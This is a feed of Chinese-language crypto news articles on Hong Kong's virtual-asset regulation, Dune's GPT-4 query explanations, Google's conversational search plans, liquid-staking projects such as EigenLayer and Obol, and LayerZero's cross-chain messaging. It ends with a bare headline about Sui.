    自2022年11月香港财经事务与库务局（财库局）正式发布了《有关香港虚拟资产发展的政策宣言》，标志着香港作为我国最为国际化、经济活动最频繁的金融地区之一，正式加入了竞争世界虚拟资产中心的大潮中。紧接着在2023年2月20日，香港证监会（以下简称“证监会”）在以往虚拟资产监管框架的基础上，发布了《有关适用于获证券及期货事务监察委员会发牌的虚拟资产交易平台营运者的建议监管规定的咨询文件》（以下简称《咨询文件》），标志着香港对Web3行业的监管即将进入落地阶段，更加详实而具有可操作性的规范正呼之欲出。 今天飒姐团队就为大家梳理和总结一下，我国香港地区对于Web3各赛道出台的规范和指引，以便各位Web3 builder们合规前行。 一、虚拟资产最新监管规范 如前所述，香港对Web3行业中的虚拟资产即将实施一系列更加具体的监管措施，通过《咨询文件》先行向大众公开征集意见。此次《咨询文件》主要包括两个重要议题：是否应准许持牌平台营运者向零售投资者（俗称“散户”）提供服务？如准许，除了在公众咨询文件中所建议的一系列投资者保障措施外，还应实行哪些措施？ 在这两个议题之下，证监会详尽地与公众探讨了自己现有的对策与措施，包括：保障持牌交易平台上的虚拟资产的合规可信、建立交易平台保险或用户补偿机制、虚拟资产衍生金融产品的合规交易、持牌审核加速，以及非常重要的，在新修订的《打击洗钱及恐怖分子资金筹集条例》正式实施后，虚拟资产服务提供者的过渡性安排及清退措施。 具体分析参见 HK证监：虚拟交易是“少设限”还是“高门槛”？ 二、香港虚拟货币监管框架及持牌规范指引 监管主体： （1）香港财经事务及库务局； （2）香港证券及期货事务监察委员会； （3）香港金融管理局 以证监会为监管主力，将虚拟资产一分为二地划分为受规管的“证券金融化资产”和“非证券金融化资产”，将证券金融化的虚拟资产纳入传统金融体系的发牌监管中，只要面向香港公众运营金融证券类虚拟资产相关业务，就必须遵守香港《期货与证券条例》的合规要求并获证监会发予相应受规管领域的牌照。其他非证券金融化虚拟资产，同样受到香港证监会的监管，但截至目前，证监会仅在2023年的《咨询文件》中简单阐述会以“双重发牌”制度对此类资产进行规管，但具体措施尚不明朗，还有待进一步观望。 具体分析参见 香港虚拟资产监管框架： 一文看懂，香港虚拟资产监管规范全解析 香港发牌监管制度及虚拟资产持牌规范： HK金融牌照，运营虚拟资产需要哪些？ 虚拟资产运营方申请金融牌照实操： （1）香港牌照申领，哪些资料不可马虎 （2）HK虚拟资产牌照系列，争雄“胜任能力” 香港虚拟货币ETF实操指南： 里程碑| HK准入虚拟货币ETF，“魔盒”来了？ 三、香港NFT监管框架 在香港的监管框架下，NFT一直是一个特殊的存在。一方面，NFT本身具有强金融属性，在大量同质化发行或是使用ERC-1155等技术进行发行时，可以将NFT转化为一种类似虚拟货币的具有“同质化”属性的虚拟资产，如果放任不管必然会对香港金融秩序产生危害；但另一方面，NFT由于自身可用于“映射”任何一种具有实体或不具有实体的动产、不动产、其他虚拟资产甚至是权利、数据信息等，这就使得NFT的应用极为广泛，甚至根据其用途和映射的对象之不同，NFT还可以在“证券金融资产”和“非金融资产”中进行转换。此时如果对NFT一概采取金融兼监管措施，就很可能会不当地限制了NFT在香港的发展。 考虑到这一点，本不愿对非金融证券类资产实施监管的证监会在多方交流和妥协下，决定将NFT等纳入现有的金融监管体系，但创新性地提出了“双重发牌”监管制度，虽然该制度尚不明朗，但我们对香港证监会的创新之举表示敬佩。 具体分析参见 HK证监：虚拟交易是“少设限”还是“高门槛”？（NFT监管部分） 2023香港NFT开新局，平台如何抓住“窗口期”？ 四、香港Web3产业监管政策及思路解读 自20世纪以来，香港一直在传统金融领域荣膺“亚洲金融中心”的桂冠，而在虚拟资产发展愈加壮大的当下，香港再次选择向未知出发，主动拥抱Web3产业。但是，香港对Web3产业的欢迎并不是无条件的，保障香港金融秩序和社会的持续繁荣稳定是香港接纳Web3的前提。 具体分析参见 HK财政司长发言，即将开启Web3.0抢人“魔盒”？ 香港虚拟资产，到底利好了谁？ 写在最后 总体来看，我国正在整合大量资源，促使Web3革命能发生在香港。香港也正在万众瞩目之下，为虚拟资产的监管给出兼具创新和兼容既有法律框架的答案，与以往相比更加具有可操作性。飒姐团队在梳理总结香港监管框架的同时，也能感受到香港政府对于Web builder们满满的诚意，我们坚信香港会是Web3的下一片沃土。  ( 2 min )
    加密数据服务平台Dune用上AI，LLM会成为其护城河吗？
    近日，加密数据查询网站Dune宣布更新其LLM（ 大型语言模型，Large language model）路线图，首期上线GPT-4支持的查询解释（Query Explanations）功能，后期将会逐渐增加更多功能，比如自然语言查询（Natural Language Querying）、SQL语句转义（Query Translations）和优化搜索等。 不同于其他数据分析网站付费查询商业化路线，Dune在上线后始终对普通用户免费开放，因此在上轮的牛市周期沉淀了足够多的用户量，而LLM的加入，则有望使其沉淀的数据查询语句、看板转化为实际的杀手锏，并且引导普通用户加入创作者行列。 得益于区块链数据的公开性和透明度，任何人都可直接访问区块链数据，但是原始数据（Raw Data）往往难以辨认，非专业程序员很难看懂其含义，但是其上的数据蕴藏着巨大的经济价值，因此各类数据分析工具便应运而生，为各类分析师、研究员和普通散户提供间接访问和深度分析的工具。 Dune在其中最为引人注目，因为其提供了真正自由且强大的分析工具，任何人都可通过SQL语句进行对数据的查询、分享和展示，甚至部分项目直接选择Dune作为官方信息展示平台。 但是Dune的SQL查询功能，表面看是UGC模式，平等的赋予每一个用户权限去执行查询任务，但实际上Dune采纳的SQL模式存在两个问题，其一是门槛过高，SQL是（结构化查询语言，Structured Query Language）的简写，比如查询Uniswap上以DAI作为交易对的数量，仅仅需要5行代码即可完成。但是一旦执行查询的逻辑变得复杂，其代码量可能会大幅增加，非专业程序员很难自行写出，这导致大量用户只能成为看客。 例如，官方进行简化后的"nft.trades "查询流程，包含了近20万行的SQL语句转换、10万行的测试代码，并且由55个社区成员参与其中，单个用户无法处理如此大规模的任务。 其二是Dune的V1和V2版本的之间支持的SQL标准并不统一，V1和V2分别使用的Po stgreSQL和Spark SQL，后续计划由Dune SQL完成统一。 在本次升级LLM功能之前，Dune已经在准备统一查询引擎，计划在今年7月份之后全部迁移至Dune SQL，以保证产品逻辑的统一性。更新后的Dune SQL是基于开源查询引擎Trino的实现，Dune对其进行优化，以适配Dune自身的需求，与流行的Spark SQL并无本质上的差异，更多是在具体函数和语法上的改进。比如Dune SQL提供了更多的运算符，方便快速对日期和时间进行计算，以及对管理权限进行限制，所有涉及对原始数据本身的删除、更新等操作均无法执行，以保证数据的安全性。 但是SQL查询门槛过高的问题，依旧无法通过更改SQL范式得到解决，这意味着大多数用户和程序员都要去适应新的语法格式，比如说针对具体的查询语句，新用户和程序员都要去适应。而对自动化工具的需求，不仅对于普通用户具备现实意义，对不熟悉新语法的程序员也大有裨益。 实际上，在迁移Dune SQL路线图中，Dune已经在尝试实验自动化工具，可以将不同的语法格式统一转化为Dune SQL语句，而在GPT-4 使用LLM显示人机交互方面的威力后，Dune也顺势推出自己的LLM计划。 Dune的典型流程是解构链上数据，专业用户通过SQL执行查询，随后将看板（Dashboard）分享给有需要的用户。在这个流程中，最关键的是执行查询，而大多数用户因为缺乏代码知识而无法使用查询功能。 而在引入查询解释功能后，上述流程发生一些微调，在专业用户写的SQL查询界面，会出现解释页面，以自然语言的格式直观地告诉查看用户代码的具体作用，相当于给SQL查询添加一个解释说明的补丁，并不会改变当前的工作流程，这也是团队在吸取合并SQL语句时的教训，即降低对用户既有习惯的干扰，而是尽可能在现有流程优化体验。 在LLM加入后，一定程度上抹去了专业用户和普通用户的能力差异。借助GPT-4对代码的理解能力，可以让普通用户直观的理解查询语句的作用，而无需掌握SQL知识。在此功能引入前，用户只能被动的在看板页面阅读图表，而在引入查询解释功能后，普通用户也可以理解SQL代码是发挥作用的具体含义。 比如说Alice想要查询LayerZero交易的相关信息，那么她可以直接找到Bob已经制作好的Dune看板，可以发现49.4%的用户都集中在1次，那么Alice有理由推断说明这是为了潜在的经济刺激而进行的虚假交易，但是无法一锤定音，因此Alice决定去翻阅代码检查结论是否可靠。 但是Alice发现虽然结果只有5行数据，但是查询代码足足有150行，Alice的SQL水平不足以确认每个语句的正确性，而此时查询解释功能则会“翻译”代码的具体说明，如图所示，查询分成了3个部分：收集数据涵盖了Arbitrum、Avalanche、BNB、Ethereum、Optimism、Polygon和Fantom等多条链，并且第二部分是计算每个用户（`sender`）的交易数量。第三部是针对数量设置阈值对用户进行分类：1 Tx', '2 ~ 5 Tx', '5 ~ 10 Tx', '10 ~ 20 Tx', 和'>= 20 Tx' 。 那么此时Alice可以在不理解Bob写的代码含义基础上去进行分析和判断。本质上，查询解释的功能相当于给代码和人类之间进行了一次转义和翻译，那么反过来，也可以将人类语言翻译成SQL语句，在LLM加持下，得益于Dune攒下的海量查询语句数据，这并不难实现。 自然语言查询（Natural Language Querying）就是Dune后续LLM改进的重要方向。自然语言查询可以让用户以传达指令的方式去执行图表生成任务，这比使用SQL语句、拖曳生成等模式更为符合普通人的思维方式，免去对实现细节的关注。 并且，自然语言查询并不是对专业用户，如分析师群体的替代功能，而是一种补强，现存的Dune有将近70万个图表，相当一部分的分析任务是重叠和冲突的，而使用自然语言查询，也有助于系统去理解图表之间的关联，从而进一步提升整个分析工作的效率。 在LLM加入后，现存图表、SpellBook和文档数据也将被重新整合，效仿OpenAI的聊天机器人，Dune也会开发对话机器人，帮助用户以更简易的方式去理解和利用现存的知识体系，而不需要受到不相关信息的干扰。 比如，Alice可以将上述查询LayerZero用户交易量分布的情况逆置，先用英语发出查询指令，并且交代好每一步的工作流程，随后Dune会帮助Alice写好150行代码，随后生成图表。 结语：人人都能当数据分析师 Dune的目标并不是建立一个单纯的链上数据分析平台，而是希望打造一个可以使信息自由流动的数据管道，允许用户抓取、转换、管理、查询、可视化以及利用数据去采取行动。 数据流动的前提是必须进行模块化，可任意组合和配置，最终建造社区共享的数据集，而不是集中在复杂的SQL语句或者付费API之内，最终达到人人都可和数据进行交互的平权图景。 概要而言，Dune的LLM计划是“翻译”和助手，目标是让普通用户读懂数据所代表的一切，不仅是最终结果的展示，而是深入到生成过程之中，最终人人都可进行链上数据分析。  ( 2 min )
    华尔街日报：谷歌搜索引擎将加入对话式人工智能功能
    PANews 4月6日消息，据华尔街日报报道，谷歌首席执行官 Sundar Pichai 表示，该公司计划在其旗舰搜索引擎中添加对话式人工智能功能，以应对来自 ChatGPT 等聊天机器人的竞争以及更广泛的商业压力。 Pichai 表示，人工智能的进步将增强谷歌回答一系列搜索查询的能力。但提高效率方面“还有更多工作要做”。他驳斥了聊天机器人对谷歌搜索业务构成威胁的说法，该业务曾占母公司 Alphabet Inc. 收入的一半以上。  ( 1 min )
    LSD将带来新的DeFi Summer？盘点4个目前未发币的LSD板块Alpha
    4月12日，以太坊将迎来“Shapella升级”，这意味着近两年前锁定的Validator质押代币将被解锁，届时，会有大量的ETH出现在市场上，尽管短期来说，会对ETH的币价带来一定程度的冲击，但与此同时，也大大的增加了以太坊生态的流动性。 说起流动性，就不得不提当下最流行的一个词汇：LSD。全称是Liquid Staking Derivatives，流动性质押衍生品。最近以来，在Web3语境的社交环境中，我们几乎随处都能看到关于LSD的讨论，以及关于相关生态代币的介绍。前不久，VeDAO研究院在一篇《超流动性协议LSDx Finance获得Foresight Ventures 200万美元战略投资| veDAO研究院》中，对当前较为火热的LSD概念项目LSDx进行了解读。但截至目前，优秀的，有价值空间的LSD概念项目不止一个，其中尚未发币的Alpha也有很多。因此，VeDAO研究院在本篇文章中，汇总了当前市场上尚未发币的四个LSD相关项目。以供大家投资做参考。 往期链接：https://mirror.xyz/ 如上文所述，LSD全称是流动性质押衍生品，即一种支持用户将相关标的资产质押在合约中，用来为相关生态提供流动性，并获得奖励的产品。听起来，似乎和我们目前所理解的Stake to Earn类似。但LSD重点在于，其所质押的资产，会以某种方式继续被质押者所灵活使用，并由此发展出来的一系列金融衍生玩法。 图片引用@Wayne2699837 由于独立的节点Validator需要至少32个ETH，而且在上海升级前无法取ValidatorTH的验证者负责向区块链添加新的区块、处理交易和存储数据的过程存在一定风险，其中的技术问题容易导致质押资产损失或者奖励损失，高高的门槛把大量普通用户挡在了门外。 LSD协议允许普通用户在无需维护质押基础设施的情况下无门槛参与质押并获得奖励，此外票据资产的设计还释放了质押期间ETH的流动性，所以短时间内捕获了大量的用户和资产，并发展为一个独立的赛道。 巧合的是，在英文语境中，LSD同时还代表着“麦角酸二乙酰胺”，一种半人工致幻剂和精神兴奋剂。这一药剂在上个世纪40年代一度成为美国年轻人和嬉皮士的代名词。，意味着先锋和迷人。而同样地，代表Web3发展内核DeFi概念的最新诠释，LSD又何尝不先锋和迷人。 LSD 的初心是解放流动性，对于那些想要质押Token但又不想被束缚的人来说，流动性质押衍生品可以改变游戏规则。这些衍生品代表了Token持有者的质押资产，并确认了质押者对质押池的参与。 令人兴奋的是，这些Token可用于去中心化金融世界中的借代、交易和抵押品。这意味着用户可以获得质押Token的好处，而不必放弃使用权。这是一个双赢的局面，提供了前所未有的灵活性和效率。 LSD项目旨在创造基础收益率以上更高的收益，是今年的热点话题板块。市场对于这次升级预期反馈积极，从近期 板块行情就能看到。目前，基于DVT技术的质押解决方案能够将节点再度分布式，提高验证节点稳定性，受到广泛讨论。 DVT（Distributed Validator Technology），去中心化验证技术。DVT指的是一项允许以太坊权益证明Validator（Validator）同时在多个节点（Operator Nodes）上运行的技术，可以为Staking基础设施落地可信网络，以确保区块链网络的安全性和去中心化。 通俗地讲，DVT是将节点运营商组成一个网络，就像区块链的分布式网络一样，并且DVT提供商的节点运营商集群中每个节点都可以有不同的客户端，以此降低单点故障风险。DVT技术的主要优势是可以形成一个Validator分布式网络，像区块链节点网络一样依靠共识机制（IBFT）共同执行 Validator 的职责，并且可以实现Validator Client的多样性，提高了容错率，同时降低了Validator单点故障的风险，赚取稳定收益。下文中我们将要介绍的Obol Network便是采用DVT技术的代表之一，除此之外，SSV同样也是采用DVT技术。 除了DVT技术以外，LSD生态还有一种关于质押的解决方案：Re-Stake，二次质押。Re-staking概念下，能够将质押的ETH二次质押、并解决非结算层Dapp的信任及安全性。通过二次质押，利用现有的信任网络来保护其他基础设施和中间件层，这个叙事有望成为LSD赛道的共识安全中枢，下文的EigenLayer就是代表。同时，EigenLayer也是去年热点概念“模块化区块链”的延伸之一。除了EigenLayer以外，目前已经发币的FXS、Rocketpool也是Re-staking的典型代表。 简单来说，DVT技术更侧重于质押过程和治理过程的去中心化，而Re-Stake则更侧重于安全性以质押过程的去中心化。尽管让渡了去中心化治理的权限，但也使得整个模式更加简单和可控。 目前这两种模式，谈不上谁对谁错，都是对于LSD概念的一种探索和尝试，不同策略吸引不同需求的项目，比如DVT往往受到大多数中心化服务商的青睐。LSD赛道里，现在绝大部分市值都被中心化的服务商占领，比如Lido（存入了超过 400 万个以太币，占质押加密资产总量的 32%），这也是他们想引进DVT技术来增强去中心化正统性的目的。而想要谋求更简单参与办法以及非风险厌恶者，往往会对Re-Stake更加青睐。 官网：https://obol.tech/ 推特：https://twitter.com/ObolNetwork 更多信息：https://app.vedao.com/projects/ 项目介绍： Obol Network，这是一种通过多运营商验证来促进信任最小化质押的协议。Obol专注于通过提供对分布式验证器 (DV) 的无许可访问来扩展共识。分布式验证器将会而且应该构成主网验证器配置的很大一部分。为了准备第一波采用，Obol Network目前使用分布式验证器技术 (DVT) 的中间件实现，以启用分布式验证器集群的操作，该集群可以保留验证器当前客户端和远程签名基础设施。Obol 相信在未来分布式验证器将会占据主网验证器配置的很大一部分，因此致力于通过提供无权限访问的分布式验证器（DVT）来扩展共识, 用作各种 Web3 产品的核心构建块。 Obol采用DVT技术，在 V1 的规划中，Obol Network 的开发和维护基础设施有四个核心部分和产品： Distributed Validator Launchpad ，一个用于引导分布式验证器的CLI工具和DAPP。 Charon，一个中间件客户端，它使验证器能够以容错的分布式方式运行。 Obol Managers，一组用于形成分布式验证器的solidity智能合约。 Obol Testnets，一组持续的公共激励测试网，使任何规模的运营商都可以在为主网Obol Network服务之前测试他们的部署。 2022年6月，Dev Net 1推出，目的在于最早期值得信赖的操作员进行灰度测试。 2022年7月，Dev Net 2推出，目的在于让可信赖的运营商参与测试。 2022年10月，Athena Public Testnet 1推出，是一个无激励的公共测试网，该版本也是第一次Obol第一次面向大众，旨在让更多参与者帮忙完成早期的查遗补漏和寻找防女巫的办法。 2023年6月，预计将推出Circe Attack Net。这也是V1阶段最后一次测试，会创建大量测试工具以找到对Charon的破坏点和漏洞。 值得注意的是，可能在Circe Attack Net之后，Obol推出V2版本。相较于V1，以Charon为基地的V2将加入激励计划，以确保任何不在线、不参与验证的运营商都不会获得任何奖励。而该版本，我们也可视为Obol产品的正式上线。 投融资情况： 目前，Obol Labs累计融资金额已达到1900万美元。 2021年9月，Lido向Obol提供了100,000美元的LDO赠款，以继续研究和构建该协议。 2021年10月，Obol完成615万美元融资，投资者包括ConsenSys、Acrylic Capital、Coinbase Ventures、IOSG Ventures、Blockdaemon、Delphi Digital、Stakefish、Figment Fund、Chorus One、Staking Facilities和The LAO等。 2023年1月17日，Obol完成1250万美元融资，由Pantera Capital和Archetype共同领投，Coinbase Ventures、Nascent、BlockTower、Placeholder、Ethereal Ventures、Spartan和IEX跟投，以及来自顶级Validator的直接参与，例如Stakely、Cosmostation、Kukis Global、Swiss Staking、Swift Staking、Blockscape和DSRV。 官网：https://ether.fi/ 推特：https://twitter.com/ether_fi 更多信息：https://app.vedao.com/projects/ 项目介绍：Ether.Fi是一个非托管流动性质押平台，允许用户保持对其密钥的控制，同时将以太坊验证器操作委托给节点操作员。通过其协议生成的每个验证器都将表示为NFT。存入至少 32 ETH的以太坊质押者将持有NFT，这代表了验证者的经济利益。一旦流动资金池和协议资金管理智能合约被实施，这个NFT就可以被分割。 第一阶段，委托质押：今年4月，在ETH上海升级之后上线Ether.Fi主网，并同步上线委托质押功能。 如果质押者希望质押32或者32的倍数的ETH，则遵循以下工作流程： 节点运营商提出价格 质押者将对应ETH存入合约，并同步铸造两个个取款NFT（T-NFT、B-NFT），其中T-NFT代表了30（或对应倍数）ETH，且可以转让；B-NFT代表2（或对应倍数）ETH作为SBT。收回2ETH的唯一办法就是验证者退出。 质押者使用节点运营商公钥对验证者秘钥进行加密。 节点运营商使用解密的验证者秘钥启动验证器。 质押者或节点运营商可以随时提出退出。 第二阶段，流动资金池：在今年Q2或Q3上线。 第三阶段，无许可节点市场：在今年Q4或2024年Q1上线。   投融资情况：今年2月28日，Ether.Fi完成了第一轮融资，融资金额为530万美元，投资方包括Chapter One、North Island Ventures、Arrington XRP Capital、Maelstrom、Node Capital、Version One、Purpoes Investments。 官网：https://www.eigenlayer.xyz/ 推特：https://twitter.com/eigenlayer 更多信息：https://app.vedao.com/projects/ 项目介绍：EigenLayer是以太坊上的一组智能合约，允许ETH质押者选择验证构建在以太坊生态系统之上的新软件模块。 质押者通过授予 EigenLayer 智能合约对其质押的 ETH施加额外削减条件的能力来选择加入，从而允许扩展加密经济安全性。 通过选择加入EigenLayer，质押者可以验证多种类型的模块，包括共识协议、数据可用性层、虚拟机、守护者网络、预言机网络、桥、阈值加密方案和可信执行环境。EigenLayer不是在模块之间分散安全性，而是在所有模块中聚合ETH安全性。这提高了依赖模块的去中心化应用程序(DApps)的安全性。 此外，由于这些多形式模块提供了新的费用分摊机会，以太币的价值也有所增加。EigenLayer还作为当以太坊的分级系统，在最佳创意被集成回以太坊之前，可以在多形式变化中对新的创新进行实战测试，例如Danksharding和提议者/构建者分离。 EigenLayer引入了Re-staking模型：该协议创建了一个可选择加入的中间层，在中间层上，允许用户将质押的ETH存入智能合约，同意授予EigenLayer额外的执行权利。即：将质押ETH的管理权让渡给EigenLayer来获得更多收益。这样的网络可视为在众多以太坊质押者和Validator中，自愿选择加入Re-staking的一个集合子网络，与以太坊共享安全性。该网络中的选择加入将带来很多结果：例如，提供额外的验证服务将能够获取额外的验证收益。一个Token的角色是多重的，可以既是质押Token、又是验证Token。 而多角色的结果，意味着质押用户可以获得多重收益。据EigenLayer白皮书介绍，在EigenLayer中，可以有几种形式的再质押： 原生再质押：Validator可以通过将其提款凭证指向EigenLayer合约，来再质押他们的ETH。 LSD再质押：Validator可以通过质押他们的LSD(已经通过Lido和RocketPool等协议再质押的ETH)进行再质押，方法是将他们的LSD转移到EigenLayer智能合约中。 ETH LP再质押：Validator对包含ETH的一对LP代币进行质押。 LSD LP再质押：Validator对包含一个流动性质押ETH代币的一对LP代币进行质押。 除此之外，对上述在共识层中持续存在的抵押ETH ，EigenLayer也设置了额外附加的slashing条件，以承担相应的风险，对恶意行为进行罚款。 投融资情况：截至目前，EigenLayer共完成了两轮融资： 2022年8月，EigenLayer完成了145万美元的种子轮融资，参投方包括：Polychain*、Ethereal Ventures*, Figment Capital, dao5, Robot Ventures, P2P Validator, Anthony Sassano, Viktor Bunin, Mara Schmiedt, Tim Beiko, Marc Bhargava, Zaki Manian, Joe Lallouz, Jon Charbonneau。 今年3月28日，EigenLayer又按照5亿美元估值，完成了5000万美元的A轮融资，投资方包括：Blockchain Capital*, Coinbase Ventures, Hack VC, Electric Capital, Polychain, Bixin Ventures, IOSG Ventures, Finality Capital Partners。 官网：https://www.tenderize.me/ 推特：https://twitter.com/tenderize_me 更多信息：https://app.vedao.com/projects/ 项目介绍：Tenderize是一种质押衍生品协议，允许用户抵押贷款和交易代币，同时保持质押资产的头寸。通过这种增加的灵活性，该公司认为它可以释放质押资产的全部效用潜力，最终目标是实现无许可的液体质押。目前部署在ETH/ Arbitrum上的流动质押协议，支持 $MATIC/ $GRT/ $AUDIO/ $LPT 四种资产的流动质押。截至目前，Tenderize已经存入了高达168万美元的TVL，其年化收益最高达到了24%。 跟绝大多数流动质押协议类似，用户将协议支持的原生Asset存入Tenderize, 获得等额的质押凭证T-Asset. T-Asset 代表用户原生资产的所有权，能够交易、转移、做LP获得DeFi收益。 Tenderize扮演的角色是委托人，用户资产被归集并委托给节点运营商。 Tenderize V1 会抽取10%的节点质押收益，其中5%流向Tenderize财库（其中大全部用于添加LP 流动性），5%用来激励LP。Tenderize即将进行V2版本的迭代，预计今年上半年推出，届时抽取节点收益将降至0-0.5%，此部分收益将全部用来激励LP。 截至目前，Tenderize协议尚未发币，但据白皮书信息显示，协议明确会发行原生代币TENDER. TENDER将主要作为协议治理代币，拥有投票权。 投融资情况：2022年7月7日，Tenderize完成了300万美元的种子轮融资，投资方包括：Eden Block*、TRGC、Figment Capital、Encode Club、Daedalus、Syndicate。 DeFi作为加密世界的乐高基石，每一次新概念的产生，都会对行业的发展带来巨大的财富效应和深刻的变革。从流动性挖矿带来的DeFi Summer，到Curve引发的流动性战争，再到现在LSD对于质押代币流动性的解放。DeFi的进步会不断向外延展，扩展到游戏、社交等具体应用中，形成新的玩法。事实上，过去一年包括GameFi、SocialFi等概念发展缓慢，很大程度上就是因为核心机制DeFi模式的停滞。而此次LSD概念的发展，对于DeFi思路的开拓帮助极大，同时这股力量也会传导出去，从而从下到上，从基础层到应用层引来新的繁荣。 也正是如此，有越来越多的项目开始往LSD靠拢，无论是CEX、DEX、还是借贷平台，只要自身的业务涉及到存取ETH。甚至，一直有Web3军火库之称的Web3众筹平台Gitcoin也开始转向LSD了，今年2月27日，Gitcoin治理投票通过，启动gtcETH，并有了多元化LSD ETH指数概念。 链接：https://twitter.com/indexcoop/status/ LSD已然成为加密市场核心叙事。LSD的市场规模还有增长空间。虽然有人担心在以太坊上海升级之后解锁的ETH会出现抛压，但LSD赛道整体来看仍会有更好的数据表现。 所以，现在机会在哪儿？要么是选择去中心化的LSD服务平台，要么选择LSD-Fi产品。或者直接一步到位，选择尚未发币的优质LSD Alpha。 1.Basics Capital｜为什么LSD会是千亿级业务体量的赛道 链接：https://mp.weixin.qq.com/s/ioEjGOZqCch-eTwg7OxiHA 2.一文读懂LSD赛道新玩家Obol Network：DVT技术、基本结构、融资情况 链接：https://www.odaily.news/post/5185382  ( 3 min )
    连接万链，打通一切，一文窥探LayerZero的全链野心
    原文：《Portfolio Insights: LayerZero》 作者：Henry Ang, Mustafa Yilham, Allen Zhao & Jermaine Wong, Bixin Ventures Web3的未来将会是一个多链世界，大量模块化和单体区块链共同构成整个生态系统。不过，当前用户在进行多链间操作时体验并不流畅，例如用户在以太坊上的资产必须要经过跨链转移才能在Arbitrum上使用；用户持有的NFTs也只能在其铸造的区块链生态内流转。跨链的过程非常痛苦，需要考虑包装资产、高昂的Gas费用和等待时间等很多因素。 想象一下，如果你的资产可以在多个链之间互通有无，或者在多条区块链上使用Dapps而无需跨链，又或者有一种方法能够让开发者很容易地部署利用多链资产的应用……这些想法的实现基于一个出发点：即资产将不再孤立地存在于其原生链中，这是LayerZero正在构建的至关重要的全链未来。 我们相信，未来用户使用Dapps的时候，无须知道它们部署在哪条区块链，这类似于用户在使用Web2世界里的Instagram、Tiktok、Google时，没必要知道它们是托管在Amazon Web Services，还是Microsoft Azure。LayerZero正在开发的基础层希望实现真正的互操作性愿景，将所有的Layer 1连接起来，无论它们是EVM生态、IBC生态，还是其他生态。用户不再被Aave、Compound等主流协议是否支持某些链而困扰。 TLDR: 多链只是起始，我们希望与LayerZero共同实现全链互操作性的愿景。 LayerZero是一个通用的数据信息通信的基础协议，它以一种安全和简单的方式在链上传输信息，以实现应用间的跨链通信。通过在相应链上部署 "LayerZero Endpoints"（它们由智能合约组成的轻量级客户端，具有沟通、验证和网络功能），用户可以在单一的无信任和安全交易中实现跨链通信。 LayerZero使用Oracle（目前是Chainlink）和Relayer在目标链上的LayerZero Endpoints间传达信息。值得注意的是，任何主体都可以承担Oracle和Relayer的角色，这个设计的出发点是独立、开放和无需许可的。Oracle将源链上的区块头发布到目标链，Relayer发布交易数据和验证交易证明，Oracle和Relayer两者保持独立。 LayerZero架构的魅力在于，它允许用户和开发者通过智能合约跨链执行任何他们想要的东西，无论是交易、资产跨链、转移NFT、游戏、社交等。以下是LayerZero在多个应用场景中的用例分析。 常见的资产跨链模式是易于实施的Lock-Mint机制，这类跨链技术的最大缺点无法在不同的链上发送原生资产，大多数依赖于中间封装资产。这类跨链方案在实际应用中也存在一些问题，比如缺乏流动性、滑点高、费用高、等待时间长等，用户体验并不好。 Stargate是建立在LayerZero之上能够使交易在链上无缝转移的协议，它是解决跨链不可能三角的第一个协议。有了Stargate，用户和应用程序可以在跨链传输原生资产的同时，使用协议的统一流动性池，并获得即时的交易最终性。此外，基于Stargate，用户和应用也无须处理封装资产，用户可以轻松地将以太坊上的USDC换成Arbitrum上的USDT。数据显示，自推出以来，Stargate已经处理了超100万次转账和超45亿美元的交易量，包括Sushiswap等应用已部署在Stargate上，允许用户进行原生资产交换。此外，Stargate支持用户使用他们源链上的Gas代币支付多链交易时所需要的Gas费用，这也是用户在进行多链交易资产时的痛点。 与桥接类似，在不同的链上转移代币通常也会涉及到包装的非原生代币，这不仅会影响可组合性，也导致了流动性的碎片化。比如以太坊上的UNI代币和Avalanche上的UNI代币是两种不同的资产，它们无法在应用中互用，尤其是长尾代币，流动性不足往往会导致不同的价格。 LayerZero试图通过开创全链同质化代币（Omnichain Fungible Tokens）来解决上述问题——这是一种新型的代币，可以在LayerZero集成的所有区块链进行组合。例如，Trader Joe与LayerZero整合，推出了JOE作为Omnichain Token，JOE是一个真正原生的多链代币，它可以在Avalanche、Arbitrum、BNB等进行桥接。 另一个有趣的例子是Pendle如何使用LayerZero部署全链veTokenomics：Pendle的用户可以在所有该协议支持的链（比如Arbitrum）同步他们在以太坊上的vePENDLE余额。通过这种方式，veToken不再孤立于不同的链，用户也能够在各个Pendle池轻松提升奖励。 与上面的例子类似，NFTs不会再孤立地存在于他们的原生生态系统中——用户可以将自己的NFTs在Ethereum、Polygon和Solana等生态移动。其中一个例子是今年1月，Pudgy Penguins就宣布利用LayerZero的全链技术，其子系列Lil Pudgys现在可以在Polygon、BNB Smart Chain和Arbitrum间跨链。这意味着，众多NFT项目将可以通过跨链获得其他生态系统的流动性和用户，而不必通过在另一条链上启动全新的项目分割他们的用户群。 衍生品交易 DEXs其中一个重要问题是缺乏流动性。Rage Trade试图解决这个问题，它建立在LayerZero之上，通过桥接GMX、Sushiswap等协议的ETH/USD池生成收益，并提供循环的流动性。换言之，Rage Trade能够利用来自Polygon、Avalanche、Solana等其他区块链的LP tokens作为协议在Arbitrum链上的流动性。以3CRV vault为例，当3CRV LP代币在A链上被用作抵押品时，我们也能在B链上为Rage Trade提供虚拟流动性。 LayerZero在借贷领域也发挥着作用。用户在某一条链上存入抵押品，通过LayerZero的跨链消息传递实现另一条链上借入其他资产。利用LayerZero消息传递和Stargate稳定路由接口，Radiant Capital允许用户在Arbitrum和BNB链上存入任何资产，并在LayerZero支持的其他区块链上即时借出任何资产。例如，用户可以在Arbitrum上抵押ETH，在Avalanche上借用USDT。这一过程实现了真正的全链资产互操作，也最大程度释放了各条区块链中的流动性。 随着开发者继续探索新的全链用例，我们期待着更多基于LayerZero构建的创新应用，覆盖诸如NFTFi、收益率聚合器、无需调整RPC的全链钱包、游戏、社交、DID等场景。 我们对LayerZero实现Web3生态系统中真正互操作性来提升用户体验的愿景感到非常兴奋。LayerZero已经发送了超过300万条消息并且已经扩展到了包括Aptos、Solana等非EVM链在内的40多条公链，它在Stargate和其他顶级协议或项目中展现出的吸引力，如Sushiswap、Trader Joe、Pudgy Penguins，不仅证明了LayerZero优秀的市场适应性，也证明了由Bryan Pellegrino、Ryan Zarick、Caleb Banister、Ari Litan、Irene Wu等带领的明星团队的高效执行力。  ( 2 min )
    以技术见长的Sui，能成为MOVE系新公链“话事人”吗？
